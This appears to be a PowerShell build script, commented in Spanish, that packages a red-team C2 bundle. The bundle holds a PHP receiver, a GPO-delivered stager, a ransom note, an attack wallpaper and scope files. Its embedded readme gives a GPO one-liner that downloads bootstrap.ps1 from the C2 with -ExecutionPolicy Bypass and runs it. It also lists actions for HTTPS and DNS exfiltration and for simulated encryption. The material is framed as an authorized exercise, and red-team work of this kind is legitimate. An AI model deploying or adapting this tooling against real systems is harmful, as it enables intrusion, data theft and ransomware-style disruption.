#Requires -Version 5.1 <# .SYNOPSIS Arnes RT - Construye el ZIP listo para desplegar en el C2. .DESCRIPTION Genera un paquete que SEPARA lo que debe servirse de lo que no: c2-deploy\ LEEME.txt instrucciones + token (NO va al docroot) htdocs\ EL CONTENIDO de esta carpeta va al docroot ingest.php config.php rt\ bootstrap.ps1 el stager (lo que baja la GPO) manifest.json sha256 de cada fichero scope.json alcance del Vector 2 (el que usa el stager por defecto) scope.vector1.json alcance del Vector 1 harness\lib\*.ps1 harness\bin\*.ps1 no-servir\ documentacion y plantilla (NO van al docroot) CHECKLIST.md config.sample.php La separacion es deliberada: LEEME.txt contiene el token, y config.sample.php o CHECKLIST.md no aportan nada servidos por HTTP. Dejar documentacion dentro del docroot es exactamente el fallo del script original, cuyo request.log quedo descargable con las huellas de todos los equipos. El token se genera aleatoriamente y se escribe TANTO en config.php COMO en los dos alcances: asi no puede desalinearse, que es el fallo mas habitual al montar el C2. Tras comprimir, descomprime en un directorio temporal y RE-VERIFICA cada sha256 del manifiesto. Si la verificacion falla, el ZIP no se da por bueno. .EXAMPLE .\New-C2Bundle.ps1 .EXAMPLE .\New-C2Bundle.ps1 -Token 'mi-token-de-laboratorio' -BaseUrl 'http://192.168.1.50/rt' #> [CmdletBinding()] param( [string]$OutDir, [string]$Token, [string]$BaseUrl = 'http://CAMBIAR-ESTE-HOST/rt' ) $ErrorActionPreference = 'Stop' $harness = Split-Path -Parent $PSScriptRoot if (-not $OutDir) { $OutDir = Join-Path $harness 'dist' } # --- Token ----------------------------------------------------------------- if ([string]::IsNullOrWhiteSpace($Token)) { $rng = [System.Security.Cryptography.RandomNumberGenerator]::Create() $bytes = New-Object byte[] 32 $rng.GetBytes($bytes) $Token = (($bytes | ForEach-Object { $_.ToString('x2') }) -join '') } $stamp = (Get-Date).ToUniversalTime().ToString('yyyyMMdd-HHmmss') $buildRoot = Join-Path $OutDir '_build' $bundle = Join-Path $buildRoot 'c2-deploy' $web = Join-Path $bundle 'htdocs' $noServe = Join-Path $bundle 'no-servir' $zipPath = Join-Path $OutDir ("c2-deploy-{0}.zip" -f $stamp) if (Test-Path -LiteralPath $buildRoot) { Remove-Item -LiteralPath $buildRoot -Recurse -Force } New-Item -ItemType Directory -Path $web -Force | Out-Null New-Item -ItemType Directory -Path $noServe -Force | Out-Null Write-Host '' Write-Host '=== Construccion del paquete para el C2 ===' -ForegroundColor Cyan Write-Host "Harness : $harness" Write-Host "Salida : $zipPath" Write-Host "Token : $Token" Write-Host '' # --- 1. Receptor ----------------------------------------------------------- $ingestSrc = Join-Path $harness 'c2\ingest.php' if (-not (Test-Path -LiteralPath $ingestSrc)) { throw "Falta $ingestSrc" } Copy-Item -LiteralPath $ingestSrc -Destination (Join-Path $web 'ingest.php') -Force Copy-Item -LiteralPath (Join-Path $harness 'c2\report.php') -Destination (Join-Path $web 'report.php') -Force Copy-Item -LiteralPath (Join-Path $harness 'c2\resumen.php') -Destination (Join-Path $web 'resumen.php') -Force foreach ($f in @('config.sample.php', 'CHECKLIST.md')) { $src = Join-Path $harness ('c2\' + $f) if (-not (Test-Path -LiteralPath $src)) { throw "Falta $src" } Copy-Item -LiteralPath $src -Destination (Join-Path $noServe $f) -Force } # PHP: dentro de comillas simples, la barra invertida debe ir duplicada. $storagePhp = 'C:\RT\c2-storage\objects'.Replace('\', '\\') $receiptsPhp = 'C:\RT\c2-storage\receipts.jsonl'.Replace('\', '\\') $configPhp = @' '__TOKEN__', 'storage' => '__STORAGE__', 'receipts' => '__RECEIPTS__', 'max_bytes' => 8388608, 'max_per_min_per_ip' => 120, 'allow_list' => true, 'canary_id_prefix' => 'CN-', ]; '@ $configPhp = $configPhp.Replace('__TOKEN__', $Token). Replace('__STORAGE__', $storagePhp). Replace('__RECEIPTS__', $receiptsPhp) Set-Content -LiteralPath (Join-Path $web 'config.php') -Value $configPhp -Encoding ASCII Write-Host '[1/4] Receptor colocado: htdocs\ingest.php + htdocs\report.php + htdocs\resumen.php + htdocs\config.php' -ForegroundColor Green # --- 2. Payload del stager ------------------------------------------------- # Primero el Vector 1 con su nombre, despues el Vector 2 como scope.json (el que usa # el stager por defecto). Asi el manifiesto incluye los dos alcances. # --- 1b. Assets visibles: fondo de ataque y nota de rescate ---------------- # Van DENTRO de harness\ a proposito: asi entran en el manifiesto y el stager los # descarga con el resto, sin ningun paso manual en el activo. $assetDest = Join-Path $web 'rt\harness\assets' New-Item -ItemType Directory -Path $assetDest -Force | Out-Null foreach ($a in @( @{ src = 'assets\wallpaper_attack.jpg'; dst = 'wallpaper_attack.jpg' }, @{ src = 'assets\notarescate.html'; dst = 'notarescate.html' } )) { $srcA = Join-Path $harness $a.src if (Test-Path -LiteralPath $srcA) { Copy-Item -LiteralPath $srcA -Destination (Join-Path $assetDest $a.dst) -Force Write-Host ("[1b] asset incluido: {0} ({1:N0} bytes)" -f $a.dst, (Get-Item -LiteralPath (Join-Path $assetDest $a.dst)).Length) -ForegroundColor Green } else { Write-Host ("[1b] asset AUSENTE en el arnes: {0}" -f $a.src) -ForegroundColor Yellow } } $publish = Join-Path $PSScriptRoot 'Publish-C2Payload.ps1' & $publish -OutDir $web -SubPath 'rt' -ScopePath (Join-Path $harness 'scope\scope.vector1.sample.json') ` -ScopeName 'scope.vector1.json' -Token $Token -BaseUrl $BaseUrl -Execute | Out-Null & $publish -OutDir $web -SubPath 'rt' -ScopePath (Join-Path $harness 'scope\scope.sample.json') ` -ScopeName 'scope.json' -Token $Token -BaseUrl $BaseUrl -Execute | Out-Null $mfPath = Join-Path $web 'rt\manifest.json' if (-not (Test-Path -LiteralPath $mfPath)) { throw 'El publicador no genero htdocs\rt\manifest.json' } $mf = Get-Content -LiteralPath $mfPath -Raw | ConvertFrom-Json Write-Host ("[2/4] Payload publicado en htdocs\rt\: {0} ficheros en el manifiesto" -f @($mf.files).Count) -ForegroundColor Green # --- 3. LEEME -------------------------------------------------------------- $leeme = @' ARNES RT - PAQUETE PARA EL C2 ============================= QUE HAY AQUI ------------ htdocs\ -> EL CONTENIDO de esta carpeta va al docroot de Apache (en XAMPP: C:\xampp\htdocs) no-servir\ -> NO va al docroot: es documentacion y plantilla LEEME.txt -> NO va al docroot: contiene el token RESULTADO ESPERADO ------------------ C:\xampp\htdocs\ ingest.php config.php rt\ bootstrap.ps1 manifest.json scope.json <- alcance del Vector 2 (el que usa el stager por defecto) scope.vector1.json <- alcance del Vector 1 harness\lib\*.ps1 harness\bin\*.ps1 OJO CON DOS ERRORES FACILES: - Copiar la carpeta "htdocs" entera deja C:\xampp\htdocs\htdocs\... Lo que se copia es su CONTENIDO. - Dejar el paquete en C:\xampp (fuera de htdocs) NO se sirve: daria 404. ALMACENAMIENTO (fuera del docroot) ---------------------------------- C:\RT\c2-storage\objects\ canarios recibidos C:\RT\c2-storage\receipts.jsonl recibos C:\RT\c2-storage\.rate\ control de tasa por IP El receptor intenta crearlos solo. Si el usuario de Apache no puede crear carpetas en C:\ , creala tu antes y dale permiso de escritura: New-Item -ItemType Directory -Path 'C:\RT\c2-storage' -Force No es un detalle menor: el fallo del script original fue dejar el registro de lo exfiltrado dentro del docroot, descargable por HTTP. TOKEN ----- __TOKEN__ Ya esta escrito en config.php y en los dos alcances, asi que no puede desalinearse. Es un token de laboratorio: si este ZIP sale de tu equipo, rotalo en los tres sitios (config.php, scope.json y scope.vector1.json) o regenera el paquete con -Token. PASOS ----- 1) Copia el CONTENIDO de htdocs\ al docroot del C2. 2) Comprueba la colocacion (en el C2): Test-Path C:\xampp\htdocs\ingest.php -> True Test-Path C:\xampp\htdocs\rt\bootstrap.ps1 -> True 3) Verifica el receptor (6 pruebas funcionales). Desde tu equipo: .\bin\Test-C2.ps1 -Url 'http:///ingest.php' -Token '' Esperado: TOTAL: 6 PASS: 6 FALLO: 0 404 -> ingest.php no esta en el docroot. Sin conexion -> Apache parado o firewall. 403 con el token correcto -> el token de config.php no cuadra con el que pasas. 4) Ajusta los alcances: authorized_hosts (nombres de los activos) y las rutas. Si dejas allowed_paths con los tokens {Desktop} / {Documents}, el MISMO alcance vale para todos los activos autorizados. Despues republica para regenerar el manifiesto (si no, el stager se negara a arrancar): .\bin\Publish-C2Payload.ps1 -C2Host -BaseUrl 'http:///rt' -ScopePath .\scope\scope.sample.json -Token '' -Execute 5) Dispara como lo hara la GPO (una sola linea de PowerShell): powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "iwr 'http:///rt/bootstrap.ps1' -OutFile $env:ProgramData\rt-bootstrap.ps1 -UseBasicParsing; & $env:ProgramData\rt-bootstrap.ps1 -BaseUrl 'http:///rt' -Action Vector2Sim" SIN -Execute no cambia nada: descarga, verifica sha256 y simula. Es la forma de validar el despliegue con el cliente antes de la ventana autorizada. Para el Vector 1: anade -ScopeName 'scope.vector1.json' y usa acciones CanaryGen, CanaryPlant, ExfilHttpsBurst, ExfilDnsLow, Scoreboard o Retire. ACCIONES DISPONIBLES -------------------- Vector2Sim Vector2Revert CanaryGen CanaryPlant ExfilHttpsLow ExfilHttpsBurst ExfilDnsLow ExfilDnsBurst Scoreboard Retire INTEGRIDAD ---------- manifest.json lleva el sha256 de cada fichero del payload. El stager lo comprueba ANTES de ejecutar: si un solo fichero no cuadra -descarga truncada, alguien lo cambio en el C2, o el interstitial de ngrok sirvio una pagina HTML en lugar del fichero- ABORTA sin ejecutar nada. Si editas un alcance a mano en el C2, vuelve a publicar. LIMPIAR EL DOCROOT ------------------ Si el C2 ya tenia el ejercicio anterior, saca de htdocs todo lo que no sea este paquete: d.php, request.log, Revert.html, Encrypt.ps1, FileLess*.html, ofuscador*.html. Muevelos fuera del docroot (archivo) en lugar de borrarlos, por si necesitas la evidencia historica. MAS INFORMACION --------------- no-servir\CHECKLIST.md despliegue y verificacion del receptor deploy\gpo\README.md ยง6 modelo de entrega por C2 (stager) docs\runbook-vector1.md guion del ejercicio de exfiltracion docs\runbook-vector2.md guion del ejercicio de cifrado reversible '@ $leeme = $leeme.Replace('__TOKEN__', $Token) Set-Content -LiteralPath (Join-Path $bundle 'LEEME.txt') -Value $leeme -Encoding UTF8 Write-Host '[3/4] LEEME.txt incluido (fuera de htdocs: lleva el token)' -ForegroundColor Green # --- 4. Comprimir y verificar --------------------------------------------- if (Test-Path -LiteralPath $zipPath) { Remove-Item -LiteralPath $zipPath -Force } # El lanzador de las tareas programadas: los equipos lo descargan con el script de # inicio de la GPO. Va DESPUES del payload para que el publish no lo borre, y NO va # en el manifiesto: tiene que existir ANTES que el stager, asi que no puede depender # de la verificacion de este. Su huella se comprueba en el propio instalador. Copy-Item -LiteralPath (Join-Path $harness 'deploy\gpo\rt-launch.ps1') -Destination (Join-Path $web 'rt\rt-launch.ps1') -Force Write-Host (' lanzador publicado: htdocs\rt\rt-launch.ps1') -ForegroundColor Green Compress-Archive -Path (Join-Path $bundle '*') -DestinationPath $zipPath -Force Write-Host ("[4/4] ZIP creado: {0} ({1:N0} bytes)" -f (Split-Path -Leaf $zipPath), (Get-Item -LiteralPath $zipPath).Length) -ForegroundColor Green # Verificacion: descomprimir y re-comprobar cada sha256 del manifiesto. $verifyDir = Join-Path $buildRoot '_verify' if (Test-Path -LiteralPath $verifyDir) { Remove-Item -LiteralPath $verifyDir -Recurse -Force } Expand-Archive -LiteralPath $zipPath -DestinationPath $verifyDir -Force # Listado real del contenido, tomado del ZIP ya extraido (antes de borrar el temporal). $contentList = @(Get-ChildItem -LiteralPath $verifyDir -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object { $_.FullName.Substring($verifyDir.Length + 1) } | Sort-Object) $ok = 0 $bad = @() $mfV = Get-Content -LiteralPath (Join-Path $verifyDir 'htdocs\rt\manifest.json') -Raw | ConvertFrom-Json foreach ($f in @($mfV.files)) { $p = Join-Path $verifyDir ('htdocs\rt\' + ($f.path -replace '/', '\')) if (-not (Test-Path -LiteralPath $p)) { $bad += "$($f.path) (ausente)"; continue } $h = (Get-FileHash -LiteralPath $p -Algorithm SHA256).Hash if ($h -eq ([string]$f.sha256).ToUpper()) { $ok++ } else { $bad += "$($f.path) (hash)" } } # Comprobacion de que no se cuela nada con secretos dentro de htdocs. if (Test-Path -LiteralPath (Join-Path $verifyDir 'htdocs\LEEME.txt')) { $bad += 'LEEME.txt dentro de htdocs (contiene el token)' } Write-Host '' if ($bad.Count -eq 0) { Write-Host ("VERIFICACION DEL ZIP: {0}/{1} ficheros con sha256 correcto" -f $ok, @($mfV.files).Count) -ForegroundColor Green Write-Host 'VERIFICACION: ningun fichero con secretos dentro de htdocs\' -ForegroundColor Green Remove-Item -LiteralPath $buildRoot -Recurse -Force -ErrorAction SilentlyContinue } else { Write-Host ("VERIFICACION DEL ZIP FALLIDA ({0} problemas):" -f $bad.Count) -ForegroundColor Red $bad | ForEach-Object { Write-Host " - $_" -ForegroundColor Red } Write-Host "El directorio de trabajo se conserva para diagnostico: $buildRoot" -ForegroundColor Yellow } Write-Host '' Write-Host 'Contenido del paquete:' -ForegroundColor Cyan foreach ($c in $contentList) { Write-Host (' ' + $c) } Write-Host '' Write-Host "ZIP : $zipPath" -ForegroundColor Green Write-Host "Token : $Token" -ForegroundColor Green Write-Host 'Siguiente paso: copiar el CONTENIDO de htdocs\ al docroot del C2 y ejecutar bin\Test-C2.ps1' -ForegroundColor Yellow if ($bad.Count -gt 0) { exit 1 } else { exit 0 }